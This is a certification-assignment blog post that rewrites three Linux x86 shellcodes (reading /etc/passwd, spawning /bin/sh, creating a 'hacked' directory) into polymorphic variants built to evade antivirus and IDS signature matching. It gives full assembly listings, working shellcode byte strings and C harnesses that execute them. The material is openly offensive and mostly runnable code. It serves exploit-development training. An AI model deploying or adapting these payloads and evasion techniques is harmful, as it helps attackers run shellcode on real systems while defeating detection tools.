This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/
Student ID: PA-27669
The code and scripts for this assignment can be found on github
The goal of this assignment
- Take up three shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger 150% of the existing Shellcode
- Bonus points for making it shorter in length than the original
The following system was used for development
Linux ubuntu 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Shellcodes are easily fingerprinted by AV and IDS. One solution to evade such detection could be polymorphism which is a method of defeating pattern matching. A polymorphic shellcode has the same functionality as the original shellcode, but it is uses a variety of other instructions to avoid detection. One easily detected area is the hex values of the strings (eg. “/bin/sh”, “/etc/passwd”, etc..) and we will see in this post how to obfuscate them along with other polymorphic conversions.
From this shell-storm list we selected 3 shellcodes
- Tiny Read File /etc/passwd
- execve(“/bin/sh”)
- mkdir & exit or something else? Mysterious comments on shellcode…
Tiny Read File Shellcode
The original shellcode is shown below, also it can be found here
/*
Tiny Read File Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits
http://hackingbits.com
geyslan@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
tiny_read_file_shellcode
* 51 bytes
* null-free
* read 4096 bytes from /etc/passwd file
# gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode
Testing
# ./tiny_read_file_shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
"\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
"\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
"\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
"\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
"\x80";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Calling the shellcode
"call shellcode");
}
We use ndisasm on the original shellcode variable to get the assembly code
echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u -
Then we need to verify it is working so we compile and run
Since everything works we will discuss the code changes in sections
Open section
One of the most important changes is to change the hex values of the strings. These are easily detected from AVs/IDS. So we changed the ecx with ebx and we zero it out with the sub instruction. Then we multiply ebx, implicitly with eax, which zeros out the eax and edx. We continue and we change the mov instruction to an add instruction which is the same action since eax is zero. The other interesting part is that we have changed the hex value of the strings and we do some operations to retrieve the original value back. Specifically we took the half hex value of the first string, we add it twice and we add one since it not exactly the half. Then on this value we do other proper additions and subtractions in order to retrieve the initial values.
We verify our calculations with gdb. We see that the final value is the hex value of the string ‘te//’ which is the right one so we are ok to continue
Read section
In this section we replaced the initial xchg instructions with two simple moves which has the same result. We do not care about the previous value of ecx so this simplifies the logic. The instruction of zeroing out the edx is not needed since it is already zeroed out from the first mul instruction. Edx would initially hold the value of 4096 directly so to add to polymorphism we changed it into two instruction, one that sets the value -2 and an other that adds +2.
Write & Exit section
For this section the xchg replaced with more verbose instructions, the xor instructions were replaced with sub instructions and we played with some calculations. Also in the exit section we replaced the xchg instruction with a mov instruction and direct values, which on they turn were obfuscated with some calculations.
We assemble/link and run
./compile_for32.sh read
./read
We do a quick check for nulls
objdump -d -M intel read
We get the shellcode with this expression
objdump -d ./read|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
and test it in a c file
unsigned char code[] = \
"\x29\xdb\xf7\xe3\x04\x05\x53\xbb\xb9\xb9\x3b\x32\x01\xdb\x43\x53\x81\xeb\x10\x44\x07\x03\x53\x81\xc3\xcc\xff\xf4\x12\x53\x89\xe3\x31\xc9\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x83\xc2\x02\xcd\x80\x89\xc6\x89\xd0\x89\xf2\x29\xc0\xb0\x03\xfe\xc0\xb3\x01\xcd\x80\x89\xd8\x6a\x04\x5b\x4b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Build and execute
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode
The result is this
The full polymorphic code is shown below
global _start
section .text
_start:
; open section
;xor ecx,ecx
;mul ecx
sub ebx, ebx ; zero out ecx
mul ebx ; eax, edx, ecx is zero now
;mov al, 0x5
add al, 0x5
;push ecx
push ebx
;push dword 0x64777373 ; 'dwss'
mov ebx, 0x323BB9B9 ;
add ebx, ebx ; obsfucate the hex value
inc ebx ;
push dword ebx
;push dword 0x61702f63 ; 'ap/c'
sub ebx, 0x3074410 ; we sub from the value of 0x64777373 the number 0x64777373
; so we have again the value of 0x61702f63
push dword ebx
;push dword 0x74652f2f ; 'te//'
add ebx, 0x12F4FFCC
push dword ebx
mov ebx,esp
xor ecx, ecx ; need to set ecx to zero, also helps with polymorphism
int 0x80
; read section
;xchg eax,ebx
;xchg eax,ecx
mov ecx, ebx ; this will do the same thing with the xchgs
mov ebx, eax ;
mov al,0x3 ;
;xor edx,edx ; already zero from mul
;mov dx,0xfff
mov dx,0xffe ; reduce the value
;inc edx
add edx,0x2 ; restore it
int 0x80
; write section
;xchg eax,edx
mov esi, eax ; replace xchg
mov eax, edx
mov edx, esi
sub eax,eax ; change xor to sub
mov al,0x3 ; decrease val
inc al ; restore it
mov bl,0x1
int 0x80
; exit section
;xchg eax,ebx
mov eax, ebx ; replaced xchg with mov
push 0x4
pop ebx ; more poly
dec ebx
int 0x80
The initial length of the code is 51
The final polymorphic is 75
The max allowed size is 51 * 1.5 = 76.5 so we are in scope
execve(“/bin/sh”)
The original shellcode is shown below and can also be found here
/*
Tiny Execve sh Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits
http://hackingbits.com
geyslan@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/*
tiny_execve_sh_shellcode
* 21 bytes
* null-free
# gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode
Testing
# ./tiny_execve_sh_shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Calling the shellcode
"call shellcode");
}
First we use ndisasm to see the assembly code
echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u -| awk '{print $3, $4, $5}' > execve.nasm
The original extracted assembly code is this
xor ecx,ecx
mul ecx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80
After our polymorphic transformation the code is converted to this
global _start
section .text
_start:
;xor ecx,ecx
sub ecx, ecx
push ecx ; push null
mov ecx,0x68732F2E ; one les than the hex value we need for 'hs//'
inc ecx ; restore the hex
push ecx ; push it to stack
add ecx,0x05F632FF ; this is one less than the actual value we need in order to avoid null
inc ecx ; increase the value so we get back 'nib/'
push ecx ; push it to stack
;push dword 0x68732f2f ; we transfered the strings at the start of code
;push dword 0x6e69622f ; and we obsfucate them
sub ecx, ecx ; change xor to sub
mul ecx
mov al,0xc ; increase the value
dec al ; restore it
;push ecx
;push edx
mov ebx,esp
int 0x80
For this shellcode we did the following. We first re-ordered the instructions and bring at the start the push instructions for the strings. Then we obfuscate the hex value of the strings by setting to ecx the hex value -1 and then immediately restore it by adding one and we push it. For the other hex value we add the difference of the two hexes minus one in order to avoid a null byte that can appear and again we increment the value by 1 and push it to the stack. All the zero out instructions were replaced from xor to sub. Last, we increase the value of al by one and we restore it back immediately with a dec instruction
Now we assemble/link our code to test it
./compile_for32.sh execve
./execve
And we use the usual c file to test it
unsigned char code[] = \
"\x29\xc9\x51\xb9\x2e\x2f\x73\x68\x41\x51\x81\xc1\xff\x32\xf6\x05\x41\x51\x29\xc9\xf7\xe1\xb0\x0c\xfe\xc8\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile and run
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode
The initial length of the code is 21
The final polymorphic is 30
The max allowed size is 21 * 1.5 = 31.5, so we are in scope
mkdir & exit or something else?
The last shellcode that we will convert can be found here
For the last shellcode a reverse tcp shell was initially selected but then we stumbled upon to this shellcode with weird comments and we were wondering what was the actual functionality. Let’s see the original code, verify the functionality and convert it.
The comment in that file is not correct.. I cut and pasted the shell code
in an existing c source and forgot to adjust it..
/*
* This shellcode will do a mkdir() of 'hacked' and then an exit()
* Written by zillion@safemode.org
*
*/
char shellcode[]=
"\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed"
"\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68"
"\x61\x63\x6b\x65\x64\x23";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
As we see from the name of the shellcode it says that it creates a mkdir with the name ‘hacked’ and then exits. But the comments say “The comment in that file is not correct.. etc..” so does it do what it says? Before we change it to a polymorphic version let’s see what it does.
We use the following to get the assembly code
echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -u - > mystery.nasm
The code is this
00000000 EB16 jmp short 0x18
00000002 5E pop esi ; has the address of 'acke'
00000003 31C0 xor eax,eax ; zero out eax
00000005 884606 mov [esi+0x6],al ; add a null byte after the 'acked#'
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi] ; loads the address of the string in ebx
0000000C 66B9ED01 mov cx,0x1ed ; sets mode at 775
00000010 CD80 int 0x80
00000012 B001 mov al,0x1 ; exit call
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call 0x2
0000001D 6861636B65 push dword 0x656b6361 ; 'acke'
00000022 64 fs ; 'd'
00000023 23 db 0x23 ; '#'
We clean it and we create this
global _start
section .text
_start:
jmp short name
callback:
pop esi ; has the address of 'hacke'
xor eax,eax ; zero out eax
mov [esi+0x6],al ; add a null byte at the # so it becomes 'hacked\0'
mov al,0x27
lea ebx,[esi] ; loads the address of the string in ebx
mov cx,0x1ed ; sets mode at 755
int 0x80
mov al,0x1 ; exit call
xor ebx,ebx
int 0x80
name:
call callback
push dword 0x656b6361 ; 'hacke' the 'pushd dword' is hex 68 or 'h'
fs ; 'd'
db 0x23 ; '#'
By searching in /usr/include/x86_64-linux-gnu/asm/unistd_32.h we see that the system call that is going to call is this
#define __NR_mkdir 39
From the Linux manual we see
#include <sys/stat.h>
#include <sys/types.h>
int mkdir(const char *pathname, mode_t mode);
So we expect ebx and ecx to be set. As we see ebx is set to the filename and the mode is set to 755.
So most probably it does what initialy said 😛 Let’s build and execute it.
./compile_for32.sh mystery
./mystery
And we now have our new folder ‘hacked’ with perimission 755
Now let’s create our polymorphic version
First with the help of python we get the bytes we need reverted
>>> '64656b636168'.decode('hex').encode('utf-8')
'dekcah'
>>>
First we replace the jmp/call/pop technique and we use the stack. Then we zero out eax, ecx, edx with a sub and mul instruction and we write null to the stack. After that we obsfucate the hex values and we continue by replacing all xor instructions that zeros out the registers with the sub instruction. Also we change the value of the mkdir along with the mode argument and exit calls and then restore them.
The final polymorphic code is this
global _start
section .text
_start:
; jmp short name
;callback:
;popi esi ; has the starting address of 'hacke'
sub eax,eax ; zero out eax
mul ecx
;mov [esi+0x6],al ; add a null byte at the # so it becomes 'hacked\0'
push eax ; push null bytes in the stack
mov eax, 0x64656B62
inc eax
push eax
sub eax, eax
mov ax, 0x6167
inc eax
push ax
xor eax, eax ; zero out eax
mov al,0x26
inc eax
mov ebx, esp ; loads the address of the string in ebx
mov cx,0x1ec ; sets mode at 754
inc cx ; restore it to 755
int 0x80
mov al,0x2 ; exit call
dec al
sub ebx,ebx
int 0x80
;name:
; call callback
; push dword 0x656b6361 ; 'hacke' the 'pushd dword' is hex 68 or 'h'
; fs ; 'd'
; db 0x23 ; '#'
We build our code
./compile_for32.sh poly_mystery
and then we get the bytes by using this expression
objdump -d ./poly_mystery|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
We test our shellcode with the following c file
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x29\xc0\xf7\xe1\x50\xb8\x62\x6b\x65\x64\x40\x50\x29\xc0\x66\xb8\x67\x61\x40\x66\x50\x31\xc0\xb0\x26\x40\x89\xe3\x66\xb9\xec\x01\x66\x41\xcd\x80\xb0\x02\xfe\xc8\x29\xdb\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile and run
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
./shellcode
The initial length of the code is 36
The final polymorphic is 44
The max allowed size is 36 * 1.5 = 54, so we are in scope
That’s all for this assignment! Continuing for the 7th and last one!